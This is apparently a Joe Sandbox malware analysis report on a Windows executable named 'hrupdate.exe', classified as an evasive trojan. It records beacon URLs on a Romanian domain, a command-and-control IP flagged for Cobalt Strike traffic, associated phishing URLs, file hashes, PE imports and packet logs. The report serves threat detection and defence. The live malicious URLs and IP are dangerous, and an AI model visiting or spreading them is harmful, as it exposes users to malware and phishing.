https://www.hrtraining.ro/rss/portallogin-gettask.htmlP	hrupdate.exe, 00000000.00000002.2942922670.000000000124E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.hrtraining.ro/rss/portallogin-gettask.htmlp2	hrupdate.exe, 00000000.00000003.2166521732.0000000005DE8000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://www.hrtraining.ro/trakingu/user	hrupdate.exe, 00000000.00000002.2942801537.00000000010FB000.00000004.00000010.00020000.00000000.sdmp	false	unknown
https://www.hrtraining.ro/rss/portallogin-gettask.htmlA	hrupdate.exe, 00000000.00000002.2942922670.000000000124E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.hrtraining.ro/training.ro/rss/portallogin-gettask.htmlQG	hrupdate.exe, 00000000.00000002.2943907526.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://www.hrtraining.ro/rss/portallogin-gettask.htmloD	hrupdate.exe, 00000000.00000002.2943907526.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.1920601227.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://www.hrtraining.ro/rss/portallogin-gettask.html=	hrupdate.exe, 00000000.00000003.2010673279.0000000005DE8000.00000004.00000800.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
3.79.209.76	ec2-3-79-209-76.eu-central-1.compute.amazonaws.com	United States		16509	AMAZON-02US	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578569
Start date and time:	2024-12-19 22:39:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	hrupdate.exe
Detection:	MAL
Classification:	mal96.troj.evad.winEXE@1/0@2/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 93% Number of executed functions: 31 Number of non-executed functions: 82
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: hrupdate.exe

Simulations

Behavior and APIs

Time	Type	Description
16:40:03	API Interceptor	54x Sleep call for process: hrupdate.exe modified
21:39:53	Task Scheduler	Run new task: {166D16CE-8744-4823-815F-D360B45E3A5C} path:

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	https://www.canva.com/design/DAGZxEJMIA0/pFi0b1a1Y78oAGDuII8Hjg/view?utm_content=DAGZxEJMIA0&utm_campaign=designshare&utm_medium=link2&utm_source=uniquelinks&utlId=hdcdec8ed4a	Get hash	malicious	HTMLPhisher	Browse	75.2.57.54
	https://gateway.lighthouse.storage/ipfs/bafkreigjxudfsi54f5pliswxztgujxgpdhe4uyrezdbg5avbtrclxrxc6i	Get hash	malicious	HTMLPhisher	Browse	13.227.8.71
	https://launch.app/prolandtitle	Get hash	malicious	HTMLPhisher	Browse	76.76.21.21
	Employee_Letter.PDFuJPefyDW1j.url	Get hash	malicious	Unknown	Browse	13.227.8.47
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	3.165.3.192
	6CWcISKhf1.msi	Get hash	malicious	AteraAgent	Browse	13.232.67.198
	https://go.eu.sparkpostmail1.com/f/a/lgobNkIfvQXGgmbryxpFvQ~~/AAGCxAA~/RgRpPCorP0QoaHR0cHM6Ly9iZXJhemVsLmNvbS93ZWxsbmVzcy9zb3V0aC9pbmRleFcFc3BjZXVCCmdVK6VZZ3GvOmFSFmV0aGFubG9nYW40M0BnbWFpbC5jb21YBAAAAAE~#a3RhdHJvZUBob3VzaW5nY2VudGVyLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	13.227.8.65
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	18.217.199.157
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	65.3.229.89
	https://gmail.net-login.com/Xb1Rnb3pKRC9CUEdpbldIVTREbHhIK1Vza1NvaWlrblBIbkN4aUdCZUt0Y2NlSGJiWmZ2d0M1dTB5dEpRbnRoVDdBVkFTcEJqWGowNVZycWJNWHlIUHlLOG1qS0FvemVPSXpFRFhGcUhmaVU1ekQwMklrVmM0QjVpNmhLaDdoY1I4UlhMcFo1TTJaSFhtaWpiWWFqWGZ5WEg4TnBiOUl4MDI1RFMyWStQRFoyNFo5UFZNUUpmWXBtaUg0Y0FjUG1jejdSVnFVOXJQL2VzdmNLM1lEaWtmRkZnZEk2Vi0tVHFIeU0vOWxTN01YVEtXbS0tTTh5Skh1eEtsc0xTT0J5Rzg2Q2ZJQT09?cid=2330416057%3EOpen	Get hash	malicious	KnowBe4	Browse	52.217.121.192

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	billys.exe	Get hash	malicious	Meduza Stealer	Browse	3.79.209.76
	ruppert.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	3.79.209.76
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	3.79.209.76
	2JSGOlbNym.dll	Get hash	malicious	Unknown	Browse	3.79.209.76
	4hSuRTwnWJ.dll	Get hash	malicious	Unknown	Browse	3.79.209.76
	QCTYoyX422.dll	Get hash	malicious	Unknown	Browse	3.79.209.76
	PURCHASE ORDER TRC-090971819130-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	3.79.209.76
	PAYMENT ADVICE 750013-1012449943-81347-pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	3.79.209.76
	INVOICE-0098.pdf ... .lnk.lnk.d.lnk	Get hash	malicious	Unknown	Browse	3.79.209.76
	YinLHGpoX4.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	3.79.209.76

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	4.407559158089781
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	hrupdate.exe
File size:	244'224 bytes
MD5:	03b14e9338a1c9e5551f9450207f6d84
SHA1:	f1a816c47637c8d4d0b52b333cba11b0d7571fcb
SHA256:	7a4d2b3e83220df7a55944a838bb9ebaa8f8463cff62fa92ae10e640eeb4e498
SHA512:	2c51fc5272e24ef43d770c7a6ac30252bcd408878405d2f1cf63327a05e497fd6e5fabc54a328ece7c4abe2ee4b1fcd8e9c03cb03bd6d5f0b2d7d6c87848b946
SSDEEP:	1536:MUth9KcBb/v5D8gCHqoPXDO4YcPJnWQyz9999Uh:MUtXNVD8gCPD3L
TLSH:	0C343B43569D7C92CC3C1B38237B97DB832EBE7578C5E08EB9803E9692BD0923512795
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........<...].V.].V.].V.%$V.].V.5.W.].V.5.W.].V.5.W.].V.5.W.].V...W.].V.].V:].V$4.W.].V$4HV.].V.] V.].V$4.W.].VRich.].V........PE..L..

File Icon


Icon Hash:	17170f6d2b2d2d13

Static PE Info

General

Entrypoint:	0x40307a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x672B2266 [Wed Nov 6 08:01:42 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	40fa9cd20812bab5129ef85091bfbdac

Entrypoint Preview

Instruction
call 00007FDB744FB601h
jmp 00007FDB744FAF6Fh
push ebp
mov ebp, esp
push 00000000h
call dword ptr [00404038h]
push dword ptr [ebp+08h]
call dword ptr [0040406Ch]
push C0000409h
call dword ptr [00404034h]
push eax
call dword ptr [0040403Ch]
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 00000324h
push 00000017h
call 00007FDB744FBBAAh
test eax, eax
je 00007FDB744FB0F7h
push 00000002h
pop ecx
int 29h
mov dword ptr [00406330h], eax
mov dword ptr [0040632Ch], ecx
mov dword ptr [00406328h], edx
mov dword ptr [00406324h], ebx
mov dword ptr [00406320h], esi
mov dword ptr [0040631Ch], edi
mov word ptr [00406348h], ss
mov word ptr [0040633Ch], cs
mov word ptr [00406318h], ds
mov word ptr [00406314h], es
mov word ptr [00406310h], fs
mov word ptr [0040630Ch], gs
pushfd
pop dword ptr [00406340h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [00406334h], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [00406338h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [00406344h], eax
mov eax, dword ptr [ebp-00000324h]
mov dword ptr [00406280h], 00010001h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4d0c	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7000	0x361b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3e000	0x400	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x4450	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x44c0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x4000	0x230	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2ecb	0x3000	5d06f4206746907c833a2481f65088c1	False	0.5750325520833334	COM executable for DOS	6.300274659901053	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x4000	0x1a08	0x1c00	1e97f3d49e555f25c36fe5d37cfead01	False	0.39620535714285715	data	4.65454105213308	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x6000	0x738	0x400	2ceacc7ad5a855df52932a54a33adc4d	False	0.259765625	data	3.3218316032948274	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x7000	0x361b8	0x36200	74bdbba1f539597c017848daa85523b5	False	0.14270893475750576	data	4.0626831582612635	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x3e000	0x400	0x400	b6b1b20025ba3ae165aea709cabb8ef5	False	0.912109375	data	6.464420599581639	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x1e170	0x1ed70	Device independent bitmap graphic, 205 x 205 x 24, image size 126280, resolution 2835 x 2835 px/m	English	United States	0.1544094363521216
RT_ICON	0x75e0	0x115a	PNG image data, 256 x 256, 8-bit colormap, non-interlaced	English	United States	0.33340837460603334
RT_ICON	0x8740	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.09408315565031983
RT_ICON	0x95e8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.11507220216606498
RT_ICON	0x9e90	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.12427745664739884
RT_ICON	0xa3f8	0x90b	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.791792656587473
RT_ICON	0xad08	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.03235710911667454
RT_ICON	0xef30	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.04595435684647303
RT_ICON	0x114d8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.075046904315197
RT_ICON	0x12580	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.15070921985815602
RT_ICON	0x12a70	0x115a	PNG image data, 256 x 256, 8-bit colormap, non-interlaced	English	United States	0.33340837460603334
RT_ICON	0x13bd0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.09408315565031983
RT_ICON	0x14a78	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.11507220216606498
RT_ICON	0x15320	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.12427745664739884
RT_ICON	0x15888	0x90b	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.791792656587473
RT_ICON	0x16198	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.03235710911667454
RT_ICON	0x1a3c0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.04595435684647303
RT_ICON	0x1c968	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.075046904315197
RT_ICON	0x1da10	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.15070921985815602
RT_MENU	0x1df00	0x4a	data	English	United States	0.8648648648648649
RT_DIALOG	0x1df60	0x100	data	English	United States	0.62890625
RT_DIALOG	0x1e060	0x10c	data	English	United States	0.6492537313432836
RT_STRING	0x3cee0	0x50	data	English	United States	0.75
RT_ACCELERATOR	0x1df50	0x10	data	English	United States	1.25
RT_GROUP_ICON	0x129e8	0x84	data	English	United States	0.6590909090909091
RT_GROUP_ICON	0x1de78	0x84	data	English	United States	0.6515151515151515
RT_MANIFEST	0x3cf30	0x286	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5479876160990712

Imports

DLL	Import
KERNEL32.dll	FlsSetValue, CreateFileA, CloseHandle, K32GetModuleInformation, GetModuleHandleA, GetConsoleWindow, lstrcpyW, CreateFileMappingW, MapViewOfFile, GetCurrentProcess, SetUnhandledExceptionFilter, TerminateProcess, FreeLibrary, VirtualAlloc, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, UnhandledExceptionFilter, FlsAlloc, VirtualProtect
USER32.dll	ShowWindow, LoadStringW, RegisterClassExW, GetMessageW, DefWindowProcW, DestroyWindow, CreateWindowExW, SendMessageW, EndDialog, DispatchMessageW, EndPaint, BeginPaint, SetTimer, TranslateAcceleratorW, TranslateMessage, LoadIconW, LoadCursorW, GetDlgItem, UpdateWindow, KillTimer, PostQuitMessage, DialogBoxParamW, LoadAcceleratorsW
ADVAPI32.dll	GetUserNameW
SHELL32.dll	Shell_NotifyIconW
MSVCP140.dll	_Mtx_destroy, _Mtx_unlock, _Cnd_init, _Query_perf_frequency, _Xtime_get_ticks, _Thrd_detach, _Query_perf_counter, _Thrd_start, _Mtx_init, _Cnd_wait, _Thrd_sleep, _Cnd_destroy, _Cnd_signal, _Cnd_do_broadcast_at_thread_exit, ?_Throw_Cpp_error@std@@YAXH@Z, ?_Xout_of_range@std@@YAXPBD@Z, ?_Xbad_function_call@std@@YAXXZ, ?_Throw_C_error@std@@YAXH@Z, ?_Xlength_error@std@@YAXPBD@Z, _Mtx_lock
WS2_32.dll	WSACleanup, recv, htons, gethostbyname, WSAStartup, inet_addr, gethostbyaddr, send, socket, connect, closesocket
CRYPT32.dll	CertEnumSystemStore
VCRUNTIME140.dll	__CxxFrameHandler3, __std_terminate, strstr, __std_exception_copy, memchr, _CxxThrowException, memset, _except_handler4_common, memcpy, __std_exception_destroy, memmove
api-ms-win-crt-heap-l1-1-0.dll	realloc, malloc, _callnewh, free, _set_new_mode
api-ms-win-crt-string-l1-1-0.dll	strncat, strncpy
api-ms-win-crt-runtime-l1-1-0.dll	_configure_wide_argv, _register_onexit_function, _cexit, _crt_atexit, _controlfp_s, _c_exit, _set_app_type, _seh_filter_exe, _exit, exit, _register_thread_local_exe_atexit_callback, _initterm, _initterm_e, _invalid_parameter_noinfo_noreturn, _get_wide_winmain_command_line, _initialize_onexit_table, _initialize_wide_environment, terminate
api-ms-win-crt-stdio-l1-1-0.dll	__stdio_common_vsprintf, _set_fmode, __p__commode
api-ms-win-crt-convert-l1-1-0.dll	wcstombs_s
api-ms-win-crt-math-l1-1-0.dll	__setusermatherr
api-ms-win-crt-locale-l1-1-0.dll	_configthreadlocale

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T22:40:04.711841+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49730	3.79.209.76	80	TCP
2024-12-19T22:40:06.615659+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49731	3.79.209.76	80	TCP
2024-12-19T22:40:10.184763+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49732	TCP
2024-12-19T22:40:12.460101+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49733	TCP
2024-12-19T22:40:14.719895+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49734	TCP
2024-12-19T22:40:16.946092+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49735	TCP
2024-12-19T22:40:19.139463+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49736	TCP
2024-12-19T22:40:21.341756+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49737	TCP
2024-12-19T22:40:23.519951+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49739	TCP
2024-12-19T22:40:25.721653+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49743	TCP
2024-12-19T22:40:27.940593+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49745	TCP
2024-12-19T22:40:30.184707+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49747	TCP
2024-12-19T22:40:32.389565+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49748	TCP
2024-12-19T22:40:34.593434+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49749	TCP
2024-12-19T22:40:37.076058+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49750	TCP
2024-12-19T22:40:39.262084+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49751	TCP
2024-12-19T22:40:41.451628+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49752	TCP
2024-12-19T22:40:43.637480+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49753	TCP
2024-12-19T22:40:45.859708+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49754	TCP
2024-12-19T22:40:48.078863+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49755	TCP
2024-12-19T22:40:50.313429+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49756	TCP
2024-12-19T22:40:52.531888+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49757	TCP
2024-12-19T22:40:54.751135+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49758	TCP
2024-12-19T22:40:57.300211+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49759	TCP
2024-12-19T22:40:59.572951+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49760	TCP
2024-12-19T22:41:01.797499+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49762	TCP
2024-12-19T22:41:04.032576+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49769	TCP
2024-12-19T22:41:06.238003+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49775	TCP
2024-12-19T22:41:08.451619+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49781	TCP
2024-12-19T22:41:10.661934+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49786	TCP
2024-12-19T22:41:12.853433+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49792	TCP
2024-12-19T22:41:15.076878+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49798	TCP
2024-12-19T22:41:17.263569+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49804	TCP
2024-12-19T22:41:19.468276+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49810	TCP
2024-12-19T22:41:21.705590+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49815	TCP
2024-12-19T22:41:24.178894+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49821	TCP
2024-12-19T22:41:26.459077+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49827	TCP
2024-12-19T22:41:29.199615+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49833	TCP
2024-12-19T22:41:31.386751+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49840	TCP
2024-12-19T22:41:33.601036+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49846	TCP
2024-12-19T22:41:35.806119+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49852	TCP
2024-12-19T22:41:38.368416+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49858	TCP
2024-12-19T22:41:40.937992+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49865	TCP
2024-12-19T22:41:43.149956+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49871	TCP
2024-12-19T22:41:45.375076+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49877	TCP
2024-12-19T22:41:47.592163+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49882	TCP
2024-12-19T22:41:49.788480+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49888	TCP
2024-12-19T22:41:51.995130+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49894	TCP
2024-12-19T22:41:54.188389+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49901	TCP
2024-12-19T22:41:56.390667+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49907	TCP
2024-12-19T22:41:58.592336+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49913	TCP
2024-12-19T22:42:00.970693+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49919	TCP
2024-12-19T22:42:03.186879+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49926	TCP
2024-12-19T22:42:05.412463+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49932	TCP
2024-12-19T22:42:07.800162+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	3.79.209.76	443	192.168.2.4	49938	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 22:40:03.270385981 CET	49730	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:03.390568018 CET	80	49730	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:03.390708923 CET	49730	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:03.390789986 CET	49730	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:03.510363102 CET	80	49730	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:04.711673021 CET	80	49730	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:04.711741924 CET	80	49730	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:04.711841106 CET	49730	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:04.711935043 CET	49730	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:04.831763029 CET	80	49730	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:05.199387074 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:05.319813013 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:05.319927931 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:05.320007086 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:05.440368891 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.615403891 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.615467072 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.615503073 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.615658998 CET	49731	80	192.168.2.4	3.79.209.76
